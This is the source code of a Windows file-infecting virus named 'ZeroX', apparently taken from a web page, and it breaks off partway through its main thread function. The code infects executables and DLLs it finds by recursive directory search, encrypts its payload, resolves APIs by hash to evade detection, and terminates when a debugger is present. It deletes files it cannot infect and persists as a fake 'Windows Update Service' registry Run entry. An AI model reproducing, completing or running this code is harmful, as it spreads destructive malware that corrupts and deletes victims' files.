ZeroX Virus - Source Code

#include <stdio.h>
#include <Windows.h>
#include <ImageHlp.h>
#include "ntdll.h"

#pragma comment(lib,"imagehlp.lib")
#pragma comment(lib,"ntdll.lib")

#pragma comment(linker,"/include:__tls_used")
#pragma section(".CRT$XLB",read)

#define Align(Value,Alignment) (((Value+Alignment-1)/Alignment)*Alignment)
#define <span class="searchlite">VIRUS</span>_MARKER L"ZeroX"

typedef enum _PE_TYPE
{
    PeInfected=1,
    PeExe,
    PeDll,
    PeError,
    PeInvalid
}PE_TYPE,*PPE_TYPE;

typedef DWORD (WINAPI *pExpandEnvironmentStringsA)(
    LPCSTR lpSrc,
    LPSTR lpDst,
    DWORD nSize
    );

typedef HANDLE (WINAPI *pCreateFileA)(
    LPCSTR lpFileName,
    DWORD dwDesiredAccess,
    DWORD dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD dwCreationDisposition,
    DWORD dwFlagsAndAttributes,
    HANDLE hTemplateFile
    );

typedef BOOL (WINAPI *pWriteFile)(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite,
    LPDWORD lpNumberOfBytesWritten,
    LPOVERLAPPED lpOverlapped
    );

typedef LPVOID (WINAPI *pVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
    );

typedef BOOL (WINAPI *pCloseHandle)(HANDLE Handle);

typedef BOOL (WINAPI *pVirtualFree)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD dwFreeType
    );

typedef BOOL (WINAPI *pCreateProcessA)(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
    );

typedef enum _HARDERROR_RESPONSE_OPTION
{
    OptionAbortRetryIgnore,
    OptionOk,
    OptionOkCancel,
    OptionRetryCancel,
    OptionYesNo,
    OptionYesNoCancel,
    OptionShutdownSystem,
    OptionOkNoWait,
    OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;

typedef enum _HARDERROR_RESPONSE
{
    ResponseReturnToCaller,
    ResponseNotHandled,
    ResponseAbort,
    ResponseCancel,
    ResponseIgnore,
    ResponseNo,
    ResponseOk,
    ResponseRetry,
    ResponseYes,
    ResponseTryAgain,
    ResponseContinue
}HARDERROR_RESPONSE;

extern "C" NTSTATUS NTAPI NtRaiseHardError(
    NTSTATUS ErrorStatus,
    ULONG NumberOfParameters,
    ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters,
    ULONG ValidResponseOptions,
    PULONG Response
);

PVOID <span class="searchlite">Virus</span>File;
ULONG <span class="searchlite">Virus</span>Size,<span class="searchlite">Virus</span>FileChecksum;

wchar_t <span class="searchlite">Virus</span>Path[60];

void __fastcall RC4(PVOID Buffer,ULONG Length,PULONG Key)
{
    ULONG i,j,x;
    UCHAR State[256],Swap,*k=(PUCHAR)Key,*ptr=(PUCHAR)Buffer;

    for(i=0;i<256;i++)
    {
        State[i]=(UCHAR)i;
    }

    j=0;

    for(i=0;i<256;i++)
    {
        j=(j+State[i]+k[i % sizeof(ULONG)]) & 0xFF;
        Swap=State[i];

        State[i]=State[j];
        State[j]=Swap;
    }

    i=0;
    j=0;

    for(x=0;x<Length;x++)
    {
        i=(i+1) & 0xFF;
        j=(j+State[i]) & 0xFF;

        Swap=State[i];

        State[i]=State[j];
        State[j]=Swap;

        ptr[x]^=State[(State[i]+State[j]) & 0xFF];
    }
}

ULONG __fastcall ComputeHash(PVOID Buffer,ULONG Length)
{
    ULONG i,Hash=0,HashTable[256];
    PUCHAR ptr=(PUCHAR)Buffer;

    for(i=0;i<256;i++)
    {
        HashTable[i]=(i & 1) ? (i+(i<<28))^0x12345678:(i+(i<<28))^0x98765432;
    }

    for(i=0;i<Length;i++)
    {
        Hash=(i+Hash+HashTable[(Hash+ptr[i]-(~Hash)) & 0xFF])^((~ptr[i])+(ptr[i]<<16)-HashTable[(i+(Hash^ptr[i])) & 0xFF]);
    }

    return Hash;
}

PIMAGE_SECTION_HEADER __fastcall AddSection(PVOID Image,ULONG SectionSize,ULONG Characteristics)
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_SECTION_HEADER pISH;

    ULONG i;

    pIDH=(PIMAGE_DOS_HEADER)Image;

    if(pIDH->e_magic!=IMAGE_DOS_SIGNATURE)
    {
        return NULL;
    }

    pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Image+pIDH->e_lfanew);

    if(pINH->Signature!=IMAGE_NT_SIGNATURE)
    {
        return NULL;
    }

    pISH=(PIMAGE_SECTION_HEADER)(pINH+1);
    i=pINH->FileHeader.NumberOfSections;

    memset(&pISH[i],0,sizeof(IMAGE_SECTION_HEADER));

    pISH[i].Misc.VirtualSize=SectionSize;
    pISH[i].VirtualAddress=Align(pISH[i-1].VirtualAddress+pISH[i-1].Misc.VirtualSize,pINH->OptionalHeader.SectionAlignment);
    pISH[i].SizeOfRawData=Align(SectionSize,pINH->OptionalHeader.SectionAlignment);
    pISH[i].PointerToRawData=Align(pISH[i-1].PointerToRawData+pISH[i-1].SizeOfRawData,pINH->OptionalHeader.FileAlignment);
    pISH[i].Characteristics=Characteristics;
    pISH[i].PointerToRawData=Align(pISH[i-1].PointerToRawData+pISH[i-1].SizeOfRawData,pINH->OptionalHeader.FileAlignment);

    pINH->FileHeader.NumberOfSections++;
    pINH->OptionalHeader.SizeOfImage=pISH[i].VirtualAddress+pISH[i].Misc.VirtualSize;

    pINH->OptionalHeader.CheckSum=0;
    return &pISH[i];
}

ULONG WINAPI Exe<span class="searchlite">Virus</span>Code()
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_EXPORT_DIRECTORY pIED;

    PLDR_DATA_TABLE_ENTRY Ldr;

    PVOID Buffer,Module,Kernel32Base;
    ULONG i,j,x,Hash,FileSize,Key,EntryPointRva,<span class="searchlite">Virus</span>Rva,write;

    PUCHAR Encrypted<span class="searchlite">Virus</span>,Decrypted<span class="searchlite">Virus</span>,k,ptr;
    PULONG Function,Name;
    PUSHORT Ordinal;

    UCHAR State[256],Swap;
    HANDLE hFile;

    PPEB Peb;

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    pExpandEnvironmentStringsA fnExpandEnvironmentStringsA;
    pCreateFileA fnCreateFileA;
    pWriteFile fnWriteFile;
    pVirtualAlloc fnVirtualAlloc;
    pCloseHandle fnCloseHandle;
    pVirtualFree fnVirtualFree;
    pCreateProcessA fnCreateProcessA;

    char FilePath[]={'%','t','e','m','p','%','\\','Z','e','r','o','X','.','e','x','e',0},FileName[260];

    __asm
    {
        mov eax,0x41414141
        mov EntryPointRva,eax

        mov eax,0x42424242
        mov <span class="searchlite">Virus</span>Rva,eax

        mov eax,0x43434343
        mov FileSize,eax
    }

    Peb=(PPEB)__readfsdword(0x30); // Get the PEB address
    Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // Read the loader data

    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // ntdll (not used)
    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // kernel32

    Kernel32Base=Ldr->DllBase; // Store the address of kernel32
    Module=Peb->ImageBaseAddress;

    pIDH=(PIMAGE_DOS_HEADER)Kernel32Base;
    pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Kernel32Base+pIDH->e_lfanew);

    // Get the export directory of kernel32

    pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)Kernel32Base+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    Function=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfFunctions);
    Name=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfNames);

    Ordinal=(PUSHORT)((PUCHAR)Kernel32Base+pIED->AddressOfNameOrdinals);

    // Loop over the function names

    for(i=0;i<pIED->NumberOfNames;i++)
    {
        PUCHAR ptr=(PUCHAR)Kernel32Base+Name[i]; // Pointer to function name
        ULONG Hash=0;

        // Compute the hash

        while(*ptr)
        {
            Hash=((Hash<<8)+Hash+*ptr)^(*ptr<<16);
            ptr++;
        }

        // Hash of ExpandEnvironmentStringsA

        if(Hash==0x575d1e20)
        {
            fnExpandEnvironmentStringsA=(pExpandEnvironmentStringsA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CreateFileA

        if(Hash==0xd83eb415)
        {
            fnCreateFileA=(pCreateFileA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of WriteFile

        if(Hash==0xa5e7378b)
        {
            fnWriteFile=(pWriteFile)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of VirtualAlloc

        if(Hash==0xa15d96d2)
        {
            fnVirtualAlloc=(pVirtualAlloc)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CloseHandle

        if(Hash==0x7dfbd342)
        {
            fnCloseHandle=(pCloseHandle)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of VirtualFree

        if(Hash==0x6f043b69)
        {
            fnVirtualFree=(pVirtualFree)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CreateProcessA

        if(Hash==0xae3b3c74)
        {
            fnCreateProcessA=(pCreateProcessA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }
    }

    Encrypted<span class="searchlite">Virus</span>=(PUCHAR)Module+<span class="searchlite">Virus</span>Rva; // Get the <span class="searchlite">virus</span> body
    Buffer=fnVirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); // Allocate buffer

    if(Buffer)
    {
        pIDH=(PIMAGE_DOS_HEADER)Module;
        pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Module+pIDH->e_lfanew);

        Decrypted<span class="searchlite">Virus</span>=(PUCHAR)Buffer;

        Key=pINH->FileHeader.TimeDateStamp;
        k=(PUCHAR)&Key;

        for(i=0;i<256;i++)
        {
            State[i]=(UCHAR)i;
        }

        j=0;

        for(i=0;i<256;i++)
        {
            j=(j+State[i]+k[i % sizeof(ULONG)]) & 0xFF;
            Swap=State[i];

            State[i]=State[j];
            State[j]=Swap;
        }

        i=0;
        j=0;

        for(x=0;x<FileSize;x++)
        {
            i=(i+1) & 0xFF;
            j=(j+State[i]) & 0xFF;

            Swap=State[i];

            State[i]=State[j];
            State[j]=Swap;

            Decrypted<span class="searchlite">Virus</span>[x]=Encrypted<span class="searchlite">Virus</span>[x]^State[(State[i]+State[j]) & 0xFF];
        }

        fnExpandEnvironmentStringsA(FilePath,FileName,sizeof(FileName));

        // Drop the <span class="searchlite">virus</span> in temp folder

        hFile=fnCreateFileA(FileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);

        if(hFile!=INVALID_HANDLE_VALUE)
        {
            // Write the <span class="searchlite">virus</span> to file

            if(fnWriteFile(hFile,Buffer,FileSize,&write,NULL))
            {
                fnCloseHandle(hFile); // Close the file handle
                fnVirtualFree(Buffer,0,MEM_RELEASE); // Free the buffer

                ptr=(PUCHAR)&si;

                // Zero the structures

                for(i=0;i<sizeof(si);i++)
                {
                    ptr[i]=0;
                }

                ptr=(PUCHAR)&pi;

                for(i=0;i<sizeof(pi);i++)
                {
                    ptr[i]=0;
                }

                // Run the <span class="searchlite">virus</span> executable

                if(fnCreateProcessA(FileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
                {
                    fnCloseHandle(pi.hThread);
                    fnCloseHandle(pi.hProcess);
                }
            }
        }
    }

    // Call the original entry point

    __asm
    {
        mov eax,Module
        add eax,EntryPointRva

        call eax
    }
}

ULONG WINAPI Dll<span class="searchlite">Virus</span>Code(HMODULE hModule,ULONG Reason,PVOID Context)
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_EXPORT_DIRECTORY pIED;

    PLDR_DATA_TABLE_ENTRY Ldr;

    PVOID Buffer,Kernel32Base;
    ULONG i,j,x,Hash,FileSize,Key,EntryPointRva,<span class="searchlite">Virus</span>Rva,write;

    PUCHAR Encrypted<span class="searchlite">Virus</span>,Decrypted<span class="searchlite">Virus</span>,k,ptr;
    PULONG Function,Name;
    PUSHORT Ordinal;

    UCHAR State[256],Swap;
    HANDLE hFile;

    PPEB Peb;

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    pExpandEnvironmentStringsA fnExpandEnvironmentStringsA;
    pCreateFileA fnCreateFileA;
    pWriteFile fnWriteFile;
    pVirtualAlloc fnVirtualAlloc;
    pCloseHandle fnCloseHandle;
    pVirtualFree fnVirtualFree;
    pCreateProcessA fnCreateProcessA;

    char FilePath[]={'%','t','e','m','p','%','\\','Z','e','r','o','X','.','e','x','e',0},FileName[260];

    __asm
    {
        mov eax,0x41414141
        mov EntryPointRva,eax

        mov eax,0x42424242
        mov <span class="searchlite">Virus</span>Rva,eax

        mov eax,0x43434343
        mov FileSize,eax
    }

    Peb=(PPEB)__readfsdword(0x30); // Get the PEB address
    Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // Read the loader data

    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // ntdll (not used)
    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // kernel32

    Kernel32Base=Ldr->DllBase; // Store the address of kernel32

    pIDH=(PIMAGE_DOS_HEADER)Kernel32Base;
    pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Kernel32Base+pIDH->e_lfanew);

    // Get the export directory of kernel32

    pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)Kernel32Base+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    Function=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfFunctions);
    Name=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfNames);

    Ordinal=(PUSHORT)((PUCHAR)Kernel32Base+pIED->AddressOfNameOrdinals);

    // Loop over the function names

    for(i=0;i<pIED->NumberOfNames;i++)
    {
        PUCHAR ptr=(PUCHAR)Kernel32Base+Name[i]; // Pointer to function name
        ULONG Hash=0;

        // Compute the hash

        while(*ptr)
        {
            Hash=((Hash<<8)+Hash+*ptr)^(*ptr<<16);
            ptr++;
        }

        // Hash of ExpandEnvironmentStringsA

        if(Hash==0x575d1e20)
        {
            fnExpandEnvironmentStringsA=(pExpandEnvironmentStringsA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CreateFileA

        if(Hash==0xd83eb415)
        {
            fnCreateFileA=(pCreateFileA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of WriteFile

        if(Hash==0xa5e7378b)
        {
            fnWriteFile=(pWriteFile)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of VirtualAlloc

        if(Hash==0xa15d96d2)
        {
            fnVirtualAlloc=(pVirtualAlloc)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CloseHandle

        if(Hash==0x7dfbd342)
        {
            fnCloseHandle=(pCloseHandle)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of VirtualFree

        if(Hash==0x6f043b69)
        {
            fnVirtualFree=(pVirtualFree)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }

        // Hash of CreateProcessA

        if(Hash==0xae3b3c74)
        {
            fnCreateProcessA=(pCreateProcessA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
        }
    }

    Encrypted<span class="searchlite">Virus</span>=(PUCHAR)hModule+<span class="searchlite">Virus</span>Rva; // Get the <span class="searchlite">virus</span> body
    Buffer=fnVirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); // Allocate buffer

    if(Buffer)
    {
        pIDH=(PIMAGE_DOS_HEADER)hModule;
        pINH=(PIMAGE_NT_HEADERS)((PUCHAR)hModule+pIDH->e_lfanew);

        Decrypted<span class="searchlite">Virus</span>=(PUCHAR)Buffer;

        Key=pINH->FileHeader.TimeDateStamp;
        k=(PUCHAR)&Key;

        for(i=0;i<256;i++)
        {
            State[i]=(UCHAR)i;
        }

        j=0;

        for(i=0;i<256;i++)
        {
            j=(j+State[i]+k[i % sizeof(ULONG)]) & 0xFF;
            Swap=State[i];

            State[i]=State[j];
            State[j]=Swap;
        }

        i=0;
        j=0;

        for(x=0;x<FileSize;x++)
        {
            i=(i+1) & 0xFF;
            j=(j+State[i]) & 0xFF;

            Swap=State[i];

            State[i]=State[j];
            State[j]=Swap;

            Decrypted<span class="searchlite">Virus</span>[x]=Encrypted<span class="searchlite">Virus</span>[x]^State[(State[i]+State[j]) & 0xFF];
        }

        fnExpandEnvironmentStringsA(FilePath,FileName,sizeof(FileName));

        // Drop the <span class="searchlite">virus</span> in temp folder

        hFile=fnCreateFileA(FileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);

        if(hFile!=INVALID_HANDLE_VALUE)
        {
            // Write the <span class="searchlite">virus</span> to file

            if(fnWriteFile(hFile,Buffer,FileSize,&write,NULL))
            {
                fnCloseHandle(hFile); // Close the file handle
                fnVirtualFree(Buffer,0,MEM_RELEASE); // Free the buffer

                ptr=(PUCHAR)&si;

                // Zero the structures

                for(i=0;i<sizeof(si);i++)
                {
                    ptr[i]=0;
                }

                ptr=(PUCHAR)&pi;

                for(i=0;i<sizeof(pi);i++)
                {
                    ptr[i]=0;
                }

                // Run the <span class="searchlite">virus</span> executable

                if(fnCreateProcessA(FileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
                {
                    fnCloseHandle(pi.hThread);
                    fnCloseHandle(pi.hProcess);
                }
            }
        }
    }

    // Call the original entry point

    __asm
    {
        mov eax,hModule
        add eax,EntryPointRva

        push Context
        push Reason
        push hModule

        call eax
    }
}

void WINAPI <span class="searchlite">Virus</span>End()
{
    return;
}

ULONG __fastcall IsValidExecutable(HANDLE hFile,PULONG SectionAlignment)
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;

    BOOL IsDll;

    PVOID Buffer;
    ULONG FileSize,read;

    FileSize=GetFileSize(hFile,NULL);
    Buffer=VirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

    if(!Buffer)
    {
        return PeError;
    }

    if(!ReadFile(hFile,Buffer,FileSize,&read,NULL))
    {
        VirtualFree(Buffer,0,MEM_RELEASE);
        return PeError;
    }

    __try
    {
        if(ComputeHash(Buffer,FileSize)==<span class="searchlite">Virus</span>FileChecksum)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInfected;
        }

        pIDH=(PIMAGE_DOS_HEADER)Buffer;

        if(pIDH->e_magic!=IMAGE_DOS_SIGNATURE)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInvalid;
        }

        pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Buffer+pIDH->e_lfanew);

        if(pINH->Signature!=IMAGE_NT_SIGNATURE)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInvalid;
        }

        // Make sure it is 32-bit program

        if(pINH->FileHeader.Machine!=IMAGE_FILE_MACHINE_I386)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInvalid;
        }

        if(pINH->OptionalHeader.Subsystem!=IMAGE_SUBSYSTEM_WINDOWS_GUI && pINH->OptionalHeader.Subsystem!=IMAGE_SUBSYSTEM_WINDOWS_CUI)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInvalid;
        }

        if(!wcscmp(<span class="searchlite">VIRUS</span>_MARKER,(PWSTR)(pIDH+1)))
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInfected;
        }

        if(pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
        {
            VirtualFree(Buffer,0,MEM_RELEASE);
            return PeInvalid;
        }

        if(pINH->OptionalHeader.Subsystem==IMAGE_SUBSYSTEM_WINDOWS_CUI || pINH->OptionalHeader.Subsystem==IMAGE_SUBSYSTEM_WINDOWS_GUI)
        {
            IsDll=(pINH->FileHeader.Characteristics & IMAGE_FILE_DLL)!=0;
            *SectionAlignment=pINH->OptionalHeader.FileAlignment;

            VirtualFree(Buffer,0,MEM_RELEASE);
            return IsDll ? PeDll:PeExe;
        }
    }

    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        VirtualFree(Buffer,0,MEM_RELEASE);
        return FALSE;
    }

    VirtualFree(Buffer,0,MEM_RELEASE);
    return FALSE;
}

void __fastcall ForceDeleteFile(PWSTR FileName)
{
    UNICODE_STRING Name;
    OBJECT_ATTRIBUTES oa;

    // Convert Win32 pathname to NT pathname

    if(RtlDosPathNameToNtPathName_U(FileName,&Name,NULL,NULL))
    {
        InitializeObjectAttributes(&oa,&Name,OBJ_CASE_INSENSITIVE,NULL,NULL);
        NtDeleteFile(&oa); // Delete the file

        RtlFreeUnicodeString(&Name); // Free the string
    }
}

void __fastcall InfectFile(PWSTR FileName)
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_SECTION_HEADER pISH;

    HANDLE hFile,hMap;
    PVOID MappedFile;
    ULONG i,Key,PeType,FileSize,SectionAlignment,SectionSize,CodeSize,NewSize,OldChecksum,NewChecksum;

    PUCHAR CodeAddress,<span class="searchlite">Virus</span>Address,ptr;

    hFile=CreateFile(FileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

    if(hFile!=INVALID_HANDLE_VALUE)
    {
        PeType=IsValidExecutable(hFile,&SectionAlignment);

        if(PeType==PeError || PeType==PeInfected)
        {
            NtClose(hFile);
            return;
        }

        if(PeType==PeInvalid)
        {
            NtClose(hFile);

            ForceDeleteFile(FileName);
            return;
        }

        CodeSize=PeType==PeDll ? (ULONG)<span class="searchlite">Virus</span>End-(ULONG)Dll<span class="searchlite">Virus</span>Code:(ULONG)Dll<span class="searchlite">Virus</span>Code-(ULONG)Exe<span class="searchlite">Virus</span>Code;
        SectionSize=CodeSize+<span class="searchlite">Virus</span>Size+SectionAlignment;

        FileSize=GetFileSize(hFile,NULL);
        NewSize=FileSize+Align(SectionSize,SectionAlignment); // File size need to be aligned. Otherwise the program will not run after infection.

        hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,NewSize,NULL);

        if(hMap)
        {
            MappedFile=MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);

            if(MappedFile)
            {
                pIDH=(PIMAGE_DOS_HEADER)MappedFile;
                pINH=(PIMAGE_NT_HEADERS)((PUCHAR)MappedFile+pIDH->e_lfanew);

                pISH=(PIMAGE_SECTION_HEADER)(pINH+1);
                pISH=&pISH[pINH->FileHeader.NumberOfSections-1];

                ptr=(PUCHAR)MappedFile+pISH->PointerToRawData+pISH->SizeOfRawData;

                pISH->Misc.VirtualSize+=SectionSize;
                pISH->SizeOfRawData=Align(pISH->SizeOfRawData+SectionSize,pINH->OptionalHeader.FileAlignment);
                pISH->Characteristics|=IMAGE_SCN_MEM_EXECUTE;

                pINH->OptionalHeader.SizeOfImage=pISH->VirtualAddress+pISH->Misc.VirtualSize;

                CodeAddress=ptr;
                <span class="searchlite">Virus</span>Address=CodeAddress+CodeSize;

                memcpy(CodeAddress,PeType==PeDll ? (PVOID)Dll<span class="searchlite">Virus</span>Code:Exe<span class="searchlite">Virus</span>Code,CodeSize); // Write the <span class="searchlite">virus</span> code to the file
                memcpy(<span class="searchlite">Virus</span>Address,<span class="searchlite">Virus</span>File,<span class="searchlite">Virus</span>Size); // Write the <span class="searchlite">virus</span> body to the file

                // Fill up placeholders

                for(i=0;i<CodeSize;i++)
                {
                    if(CodeAddress[i]==0xb8 && *(PULONG)&CodeAddress[i+1]==0x41414141)
                    {
                        *(PULONG)&CodeAddress[i+1]=pINH->OptionalHeader.AddressOfEntryPoint;
                    }

                    if(CodeAddress[i]==0xb8 && *(PULONG)&CodeAddress[i+1]==0x42424242)
                    {
                        *(PULONG)&CodeAddress[i+1]=(ULONG)<span class="searchlite">Virus</span>Address-pISH->PointerToRawData+pISH->VirtualAddress-(ULONG)MappedFile;
                    }

                    if(CodeAddress[i]==0xb8 && *(PULONG)&CodeAddress[i+1]==0x43434343)
                    {
                        *(PULONG)&CodeAddress[i+1]=<span class="searchlite">Virus</span>Size;
                    }
                }

                // Encrypt the virus

                Key=pINH->FileHeader.TimeDateStamp;
                RC4(<span class="searchlite">Virus</span>Address,<span class="searchlite">Virus</span>Size,&Key);

                pINH->OptionalHeader.AddressOfEntryPoint=(ULONG)CodeAddress-pISH->PointerToRawData+pISH->VirtualAddress-(ULONG)MappedFile; // Set the entry point
                wcscpy((PWSTR)(pIDH+1),<span class="searchlite">VIRUS</span>_MARKER); // Write the infection marker to the DOS stub

                // Compute the new checksum

                if(CheckSumMappedFile(MappedFile,NewSize,&OldChecksum,&NewChecksum))
                {
                    pINH->OptionalHeader.CheckSum=NewChecksum; // Update the checksum
                }

                FlushViewOfFile(MappedFile,0); // Flush the changes into file
                UnmapViewOfFile(MappedFile); // Unmap the file
            }
        }
    }

    NtClose(hMap);
    NtClose(hFile);
}

void __fastcall SearchFile(PWSTR Directory)
{
    HANDLE hFind;
    WIN32_FIND_DATA FindData;

    wchar_t SearchName[1024],FullPath[1024];
    LARGE_INTEGER delay;

    delay.QuadPart=(__int64)-10*10000;

    memset(SearchName,0,sizeof(SearchName));
    memset(&FindData,0,sizeof(WIN32_FIND_DATA));

    swprintf(SearchName,L"%s\\*",Directory);

    hFind=FindFirstFile(SearchName,&FindData);

    if(hFind!=INVALID_HANDLE_VALUE)
    {
        while(FindNextFile(hFind,&FindData))
        {
            if(FindData.cFileName[0]=='.')
            {
                continue;
            }

            memset(FullPath,0,sizeof(FullPath));
            swprintf(FullPath,L"%s\\%s",Directory,FindData.cFileName);

            if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                SearchFile(FullPath);
            }

            else
            {
                InfectFile(FullPath);
            }

            NtDelayExecution(FALSE,&delay);
        }

        FindClose(hFind);
    }
}

void NTAPI TlsCallback(PVOID Module,ULONG Reason,PVOID Context)
{
    HKEY hKey;
    PLDR_DATA_TABLE_ENTRY Ldr;

    BOOLEAN IsAdmin,bl;

    PPEB Peb=(PPEB)__readfsdword(0x30);
    ULONG_PTR DebugPort=0;

    if(Reason!=DLL_PROCESS_ATTACH)
    {
        return;
    }

    if(Peb->BeingDebugged)
    {
        NtTerminateProcess(NtCurrentProcess(),0);
        while(1);
    }

    if(NT_SUCCESS(NtQueryInformationProcess(NtCurrentProcess(),ProcessDebugPort,&DebugPort,sizeof(ULONG_PTR),NULL)))
    {
        if(DebugPort)
        {
            NtTerminateProcess(NtCurrentProcess(),0);
            while(1);
        }
    }

    Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);
    IsAdmin=NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl));

    ExpandEnvironmentStrings(IsAdmin ? L"%windir%\\services.exe":L"%temp%\\services.exe",<span class="searchlite">Virus</span>Path,60);
    CopyFile(Ldr->FullDllName.Buffer,<span class="searchlite">Virus</span>Path,FALSE); // Copy the <span class="searchlite">virus</span> to temp folder

    SetFileAttributes(<span class="searchlite">Virus</span>Path,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);

    // Add the <span class="searchlite">virus</span> to registry

    if(!RegCreateKey(IsAdmin ? HKEY_LOCAL_MACHINE:HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey))
    {
        RegSetValueEx(hKey,L"Windows Update Service",0,REG_SZ,(PUCHAR)<span class="searchlite">Virus</span>Path,sizeof(<span class="searchlite">Virus</span>Path));
        RegCloseKey(hKey);
    }
}

__declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK TlsCallbackAddress[]={TlsCallback,NULL};

DWORD WINAPI ZeroX(PVOID p)
{
    BOOLEAN bl;
    LARGE_INTEGER delay;

    ULONG Response;

    PPEB Peb=(PPEB)__readfsdword(0x30);
    ULONG_PTR DebugPort=0;

    delay.QuadPart=(__int64)-10*10000;

    while(1)
    {
        if(Peb->BeingDebugged)
        {
            break;
        }

